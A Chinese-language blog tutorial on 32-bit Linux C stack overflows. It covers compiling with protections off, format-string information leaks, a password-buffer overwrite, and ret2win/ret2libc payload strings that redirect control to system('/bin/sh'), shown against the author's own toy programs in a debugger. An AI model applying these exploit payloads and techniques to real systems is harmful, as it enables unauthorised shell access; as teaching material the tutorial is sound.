C语言栈溢出简述(以Linux为例)

环境配置

软硬件环境

  • 物理机
    • CPU:AMD Ryzen 5 3600
    • DRAM: DDR4 16GB*1@3200MHz
    • OS:Windows 11 Pro 22H2
  • 虚拟机
    • OS:Ubuntu 22.04.1 x64(Linux 5.19.0-38-generic)
    • VMware Workstation 17 Pro 17.0.1
    • Ubuntu 22.04LTS
    • gcc 11.3.0
    • gdb 12.1
    • VS Code 1.77.1

编译与调试环境配置

使用Visual Studio Code作为IDE并安装C/C++ Extension Pack(v1.3.0)扩展。

生成任务配置

填写tasks.json文件。文件内容如下。其中第一个任务是生成可执行文件,第二个任务是生成没有链接的汇编代码。

{
    "tasks": [
        {
            "type": "cppbuild",
            "label": "C/C++: gcc 生成活动文件",
            "command": "/usr/bin/gcc",
            "args": [
                "-m32",
                "-no-pie",
                "-fno-stack-protector",
                "-fdiagnostics-color=always",
                "-g",
                "${file}",
                "-o",
                "${fileDirname}/${fileBasenameNoExtension}"
            ],
            "options": {
                "cwd": "${fileDirname}"
            },
            "problemMatcher": [
                "$gcc"
            ],
            "group": {
                "kind": "build",
                "isDefault": true
            },
            "detail": "调试器生成的任务。"
        },
        {
            "type": "cppbuild",
            "label": "C/C++: gcc 生成活动文件的汇编代码",
            "command": "/usr/bin/gcc",
            "args": [
                "-m32",
                "-no-pie",
                "-fno-stack-protector",
                "-fdiagnostics-color=always",
                "-S",
                "${file}",
                "-o",
                "${fileDirname}/${fileBasenameNoExtension}.s"
            ],
            "options": {
                "cwd": "${fileDirname}"
            },
            "problemMatcher": [
                "$gcc"
            ],
            "group": {
                "kind": "none",
                "isDefault": true
            },
            "detail": "调试器生成的任务。"
        }
    ],
    "version": "2.0.0"
}

其中-m32表示生成32位代码;-no-pie可以起到取消地址随机化的作用;-fno-stack-protector表示取消栈保护;-g表示调试,关闭优化;-S表示生成汇编文件。具体内容查阅gcc手册。

调试方案配置

填写launch.json文件。文件内容如下。

{
    // 使用 IntelliSense 了解相关属性。 
    // 悬停以查看现有属性的描述。
    // 欲了解更多信息,请访问: https://go.microsoft.com/fwlink/?linkid=830387
    "version": "0.2.0",
    "configurations": [
    {
        "name": "(gdb) 启动",
        "type": "cppdbg",
        "request": "launch",
        "program": "${fileDirname}/${fileBasenameNoExtension}",
        "args": [],
        "stopAtEntry": false,
        "cwd": "${fileDirname}",
        "environment": [],
        "externalConsole": false,
        "MIMode": "gdb",
        "setupCommands": [
            {
                "description": "为 gdb 启用整齐打印",
                "text": "-enable-pretty-printing",
                "ignoreFailures": true
            },
            {
                "description": "将反汇编风格设置为 Intel",
                "text": "-gdb-set disassembly-flavor intel",
                "ignoreFailures": true
            }
        ],
        "preLaunchTask": "C/C++: gcc 生成活动文件"
    }
    ]
}

记得填写preLaunchTask以保证在调试之前先生成可执行文件。

C语言堆溢出

格式化溢出(读)

我们编写以下程序。

#include <stdio.h>

int main()
{
    int a = 1, b = 2, c = 3;
    char buf[] = "test";

    printf("%s %d %d %d %x %x %x %x %x %x\n", buf, a, b, c);

    return 0;
}

printf下断点,按F5开始调试,可以看到程序命中断点。
断点命中
Ctrl+Shift+Y打开调试控制台,在控制台中输入

-exec display /20i $pc

该命令会打印后面的20条汇编。
在这里插入图片描述
ebp是栈底(固定的部分),esp是栈顶(浮动的部分)
在控制台输入-exec ni 8,执行8条汇编指令。
在这里插入图片描述
使用-exec x /24xw $esp查看栈的内容,查看的长度为24*4字节。
在这里插入图片描述
继续使用-exec ni2次,直到调用printf的call指令完成并返回。程序输出如下。
在这里插入图片描述
其中额外输出的%x部分正好对应了下图的蓝色部分。
在这里插入图片描述
可见,这种溢出导致程序输出了不应暴露给用户的数据,造成了信息泄露。

格式化溢出(写)

C程序如下:

#include <stdio.h>
#include <string.h>
int main(int argc, const char *argv[])
{

    char passsword[] = "password", input[10];
    while (1)
    {
        printf("Enter your password:");
        scanf("%s", input);
        if (strcmp(input, passsword) == 0)
        {
            printf("Welcome!\n");
            break;
        }
        else
        {
            printf("Sorry,your password is wrong.\n");
        }
    }
    return 0;
}

在这里插入图片描述
可见,输入AAA(而非password)也可以验证成功。
为什么会发生这样的情况呢?
在这里插入图片描述
在C语言中,局部变量使用栈来存储。变量password位于变量input高地址处,且这两个变量紧挨在一起。这意味值如果input溢出,溢出的数据将会覆盖password中的数据。input有10个字节,而我们的输入是0123456789AAA,因此AAA会溢出并覆盖password
在这里插入图片描述
而后我们再在控制台中输入AAA,这样inputpassword两个变量就相等了,于是验证成功。

改变程序控制流(ret2???)

溢出还能改变程序的控制流程。C代码如下所示:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

char shellcode[] = "88888888AAAAAAAAAAAA\x86\x91\x04\x08\xc0\xa1\xc3\xf7";
void returntohere()
{
    system("/bin/sh");
}

void foo()
{
    char buffer[8] = "\x20\x20\x20\x20\x20\x20\x20";
    memcpy(buffer, shellcode, 28);
    return;
}

int main()
{
    foo();
    return 0;
}

在这里插入图片描述
尽管main函数中没有执行returntohere函数。但是system("/bin/sh")却被执行。
显然,foo函数中的memcpy是造成这一现象的关键因素。foo函数的代码如下:

   0x080491b1 <+0>:		push   ebp
   0x080491b2 <+1>:		mov    ebp,esp
   0x080491b4 <+3>:		push   ebx
   0x080491b5 <+4>:		sub    esp,0x14
   0x080491b8 <+7>:		call   0x804920c <__x86.get_pc_thunk.ax>
   0x080491bd <+12>:	add    eax,0x2e43
=> 0x080491c2 <+17>:	mov    DWORD PTR [ebp-0x10],0x20202020
   0x080491c9 <+24>:	mov    DWORD PTR [ebp-0xc],0x202020
   0x080491d0 <+31>:	sub    esp,0x4
   0x080491d3 <+34>:	push   0x1c
   0x080491d5 <+36>:	lea    edx,[eax+0x20]
   0x080491db <+42>:	push   edx
   0x080491dc <+43>:	lea    edx,[ebp-0x10]
   0x080491df <+46>:	push   edx
   0x080491e0 <+47>:	mov    ebx,eax
   0x080491e2 <+49>:	call   0x8049050 <memcpy@plt>
   0x080491e7 <+54>:	add    esp,0x10
   0x080491ea <+57>:	nop
   0x080491eb <+58>:	mov    ebx,DWORD PTR [ebp-0x4]
   0x080491ee <+61>:	leave  
   0x080491ef <+62>:	ret    

显然,mempy函数需要三个参数,这三个参数分别通过一个push 0x1c(拷贝28字节)命令,和之后的两个push edx命令完成。
在这里插入图片描述
这是程序执行call 0x8049050 <memcpy@plt>汇编指令之前(即EIP=0x080491e2时)的栈内容。0xffffcff0``0xffffcff4``0xffffcff8处的三个值是memcpy的参数,其中0xffffcff0处的0xffffd008指向shellcode字符串变量,0xffffcff4处的0x0804c020指向buffer字符串变量,0xffffcff8处的0xc1是拷贝的字节数。
此外需要特别注意0xffffd01c处的0x08049205。通过反汇编main函数,我们可以轻易发现,0x08049205就是foo的返回地址。我们只要改变这个地址就可以改变程序的控制流。改变这个地址的方式就是让字符串变量buffer溢出。
在这里插入图片描述
在这里插入图片描述
溢出的内容为函数returntohere的地址,即0x8049186
foo函数返回前(EIP=0x80491eb时),我们再看一下堆栈内容。
在这里插入图片描述
上图中,溢出的内容从0xffffd0100xffffd024(闭区间)。显然foo函数的返回地址已经被returntohere函数的地址取代。
继续执行两条汇编,令eip指向ret,此时esp指向foo的返回地址(实际上被替换成了returntohere的开始地址),即0x08049186
在这里插入图片描述
我们已经成功改变程序控制流,那么为什么要在shellcode中加入\xc0\xa1\xc3\xf7呢。在returntohere函数的末尾下一个断点。然后执行程序。
在这里插入图片描述
需要注意,程序会陷入system函数,因此断点不会立即命中,需要退出/bin/sh后才能命中断点。
在这里插入图片描述

   0x08049186 <+0>:	push   ebp
   0x08049187 <+1>:	mov    ebp,esp
   0x08049189 <+3>:	push   ebx
   0x0804918a <+4>:	sub    esp,0x4
   0x0804918d <+7>:	call   0x804920c <__x86.get_pc_thunk.ax>
   0x08049192 <+12>:	add    eax,0x2e6e
   0x08049197 <+17>:	sub    esp,0xc
   0x0804919a <+20>:	lea    edx,[eax-0x1ff8]
   0x080491a0 <+26>:	push   edx
   0x080491a1 <+27>:	mov    ebx,eax
   0x080491a3 <+29>:	call   0x8049060 <system@plt>
   0x080491a8 <+34>:	add    esp,0x10
=> 0x080491ab <+37>:	nop
   0x080491ac <+38>:	mov    ebx,DWORD PTR [ebp-0x4]
   0x080491af <+41>:	leave  
   0x080491b0 <+42>:	ret    

令程序执行到ret指令(EIP=0x80491b0)处。查看esp。发现返回地址是刚才溢出的\xc0\xa1\xc3\xf7。(注意字节序问题,这里是小端序。)
在这里插入图片描述
0xf7c3a1c0是函数exit的地址,这意味着,returntohere的返回会变成立即退出。如果不立即退出,由于栈的混乱,程序就会发生段错误。
在这里插入图片描述

改变程序控制流至libc库函数(ret2libc)

下面这段代码并没有调用system函数,但是我们也可以利用溢出令其执行system("/bin/sh")

#include <stdio.h>
#include <stdlib.h>

char c[] = "/bin/sh";
char shellcode[] ="88888888AAAAAAAAAAAA\xb0\x7c\xc4\xf7\xc0\xa1\xc3\xf7\x40\xc0\x04\x08";

void foo()
{
    char buf[8] = "\x20\x20\x20\x20\x20\x20\x20";
    memcpy(buf, shellcode, 32);
    return;
}

int main()
{
    foo();
    return 0;
}

在这里插入图片描述
这里的溢出和上文的溢出相似,最重要的是正确地向system函数传参。考虑以下代码:

#include <stdio.h>
#include <stdlib.h>
int main()
{
    system("/bin/sh");
    return 0;
}

此代码仅调用了system,这可以方便我们理解其传参方式。程序对应的汇编代码如下:

	.file	"main.c"
	.text
	.section	.rodata
.LC0:
	.string	"/bin/sh"
	.text
	.globl	main
	.type	main, @function
main:
.LFB6:
	.cfi_startproc
	leal	4(%esp), %ecx
	.cfi_def_cfa 1, 0
	andl	$-16, %esp
	pushl	-4(%ecx)
	pushl	%ebp
	movl	%esp, %ebp
	.cfi_escape 0x10,0x5,0x2,0x75,0
	pushl	%ebx
	pushl	%ecx
	.cfi_escape 0xf,0x3,0x75,0x78,0x6
	.cfi_escape 0x10,0x3,0x2,0x75,0x7c
	call	__x86.get_pc_thunk.ax
	addl	$_GLOBAL_OFFSET_TABLE_, %eax
	subl	$12, %esp
	leal	.LC0@GOTOFF(%eax), %edx  # 注释1
	pushl	%edx
	movl	%eax, %ebx
	call	system@PLT # 注释2
	addl	$16, %esp
	movl	$0, %eax
	leal	-8(%ebp), %esp
	popl	%ecx
	.cfi_restore 1
	.cfi_def_cfa 1, 0
	popl	%ebx
	.cfi_restore 3
	popl	%ebp
	.cfi_restore 5
	leal	-4(%ecx), %esp
	.cfi_def_cfa 4, 4
	ret
	.cfi_endproc
.LFE6:
	.size	main, .-main
	.section	.text.__x86.get_pc_thunk.ax,"axG",@progbits,__x86.get_pc_thunk.ax,comdat
	.globl	__x86.get_pc_thunk.ax
	.hidden	__x86.get_pc_thunk.ax
	.type	__x86.get_pc_thunk.ax, @function
__x86.get_pc_thunk.ax:
.LFB7:
	.cfi_startproc
	movl	(%esp), %eax
	ret
	.cfi_endproc
.LFE7:
	.ident	"GCC: (Ubuntu 11.3.0-1ubuntu1~22.04) 11.3.0"
	.section	.note.GNU-stack,"",@progbits

注意call system@PLT指令上面第二行的pushl %edxedx的值来自leal .LC0@GOTOFF(%eax), %edx而标号.LC0保存了.string "/bin/sh"。因此在32位下system是通过栈传参的,在调用system前,将参数压栈就行了。
现在回过头来看shellcode的内容,8个8是用来填充变量buf的,12个A依旧用来填充,\xb0\x7c\xc4\xf7system函数的地址,\xc0\xa1\xc3\xf7exit函数的地址,\x40\xc0\x04\x08是变量c(内容为/bin/sh)的地址。shellcode共32字节,对应下图中0xffffd0080xffffd0208(闭区间)。
在这里插入图片描述

关于64位下栈溢出的讨论

在32位环境下许多函数通过栈传参(已经过我验证的有printfsystem等)。而在64位环境下许多函数都通过寄存器传参:

	.file	"main.c"
	.text
	.section	.rodata
.LC0:
	.string	"/bin/sh"
	.text
	.globl	main
	.type	main, @function
main:
.LFB6:
	.cfi_startproc
	endbr64
	pushq	%rbp
	.cfi_def_cfa_offset 16
	.cfi_offset 6, -16
	movq	%rsp, %rbp
	.cfi_def_cfa_register 6
	leaq	.LC0(%rip), %rax # 注释1
	movq	%rax, %rdi
	call	system@PLT
	movl	$0, %eax
	popq	%rbp
	.cfi_def_cfa 7, 8
	ret
	.cfi_endproc
.LFE6:
	.size	main, .-main
	.ident	"GCC: (Ubuntu 11.3.0-1ubuntu1~22.04) 11.3.0"
	.section	.note.GNU-stack,"",@progbits
	.section	.note.gnu.property,"a"
	.align 8
	.long	1f - 0f
	.long	4f - 1f
	.long	5
0:
	.string	"GNU"
1:
	.align 8
	.long	0xc0000002
	.long	3f - 2f
2:
	.long	0x3
3:
	.align 8
4:

程序将/bin/sh的地址放到rax中,而后将rax的值放到rdi中,最后用call system@PLT调用system函数,该函数通过rdi获取参数地址。栈溢出不能更改寄存器的值,因此64位环境大大提高了通过溢出手段改变程序控制/数据流的难度。

C语言的栈帧

考虑以下程序:

#include <stdio.h>

int f(int x, int y)
{
    return x + y;
}

int main()
{
    int a = 0x11111111;
    int b = 0xEEEEEEEE;
    char c[] = "SONGRUNHAN";

    printf("%s %d\n", c, f(a, b));
}

其汇编代码为:

	.file	"main.c"
	.text
	.globl	f
	.type	f, @function
f:
.LFB0:
	.cfi_startproc
	pushl	%ebp
	.cfi_def_cfa_offset 8
	.cfi_offset 5, -8
	movl	%esp, %ebp
	.cfi_def_cfa_register 5
	call	__x86.get_pc_thunk.ax
	addl	$_GLOBAL_OFFSET_TABLE_, %eax
	movl	8(%ebp), %edx
	movl	12(%ebp), %eax
	addl	%edx, %eax
	popl	%ebp
	.cfi_restore 5
	.cfi_def_cfa 4, 4
	ret
	.cfi_endproc
.LFE0:
	.size	f, .-f
	.section	.rodata
.LC0:
	.string	"%s %d\n"
	.text
	.globl	main
	.type	main, @function
main:
.LFB1:
	.cfi_startproc
	leal	4(%esp), %ecx
	.cfi_def_cfa 1, 0
	andl	$-16, %esp
	pushl	-4(%ecx)
	pushl	%ebp
	movl	%esp, %ebp
	.cfi_escape 0x10,0x5,0x2,0x75,0
	pushl	%ebx
	pushl	%ecx
	.cfi_escape 0xf,0x3,0x75,0x78,0x6
	.cfi_escape 0x10,0x3,0x2,0x75,0x7c
	subl	$32, %esp
	call	__x86.get_pc_thunk.bx
	addl	$_GLOBAL_OFFSET_TABLE_, %ebx
	movl	$286331153, -12(%ebp)
	movl	$-286331154, -16(%ebp)
	movl	$1196314451, -27(%ebp)
	movl	$1213093202, -23(%ebp)
	movw	$20033, -19(%ebp)
	movb	$0, -17(%ebp)
	pushl	-16(%ebp)
	pushl	-12(%ebp)
	call	f
	addl	$8, %esp
	subl	$4, %esp
	pushl	%eax
	leal	-27(%ebp), %eax
	pushl	%eax
	leal	.LC0@GOTOFF(%ebx), %eax
	pushl	%eax
	call	printf@PLT
	addl	$16, %esp
	movl	$0, %eax
	leal	-8(%ebp), %esp
	popl	%ecx
	.cfi_restore 1
	.cfi_def_cfa 1, 0
	popl	%ebx
	.cfi_restore 3
	popl	%ebp
	.cfi_restore 5
	leal	-4(%ecx), %esp
	.cfi_def_cfa 4, 4
	ret
	.cfi_endproc
.LFE1:
	.size	main, .-main
	.section	.text.__x86.get_pc_thunk.ax,"axG",@progbits,__x86.get_pc_thunk.ax,comdat
	.globl	__x86.get_pc_thunk.ax
	.hidden	__x86.get_pc_thunk.ax
	.type	__x86.get_pc_thunk.ax, @function
__x86.get_pc_thunk.ax:
.LFB2:
	.cfi_startproc
	movl	(%esp), %eax
	ret
	.cfi_endproc
.LFE2:
	.section	.text.__x86.get_pc_thunk.bx,"axG",@progbits,__x86.get_pc_thunk.bx,comdat
	.globl	__x86.get_pc_thunk.bx
	.hidden	__x86.get_pc_thunk.bx
	.type	__x86.get_pc_thunk.bx, @function
__x86.get_pc_thunk.bx:
.LFB3:
	.cfi_startproc
	movl	(%esp), %ebx
	ret
	.cfi_endproc
.LFE3:
	.ident	"GCC: (Ubuntu 11.3.0-1ubuntu1~22.04) 11.3.0"
	.section	.note.GNU-stack,"",@progbits
  • 5
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值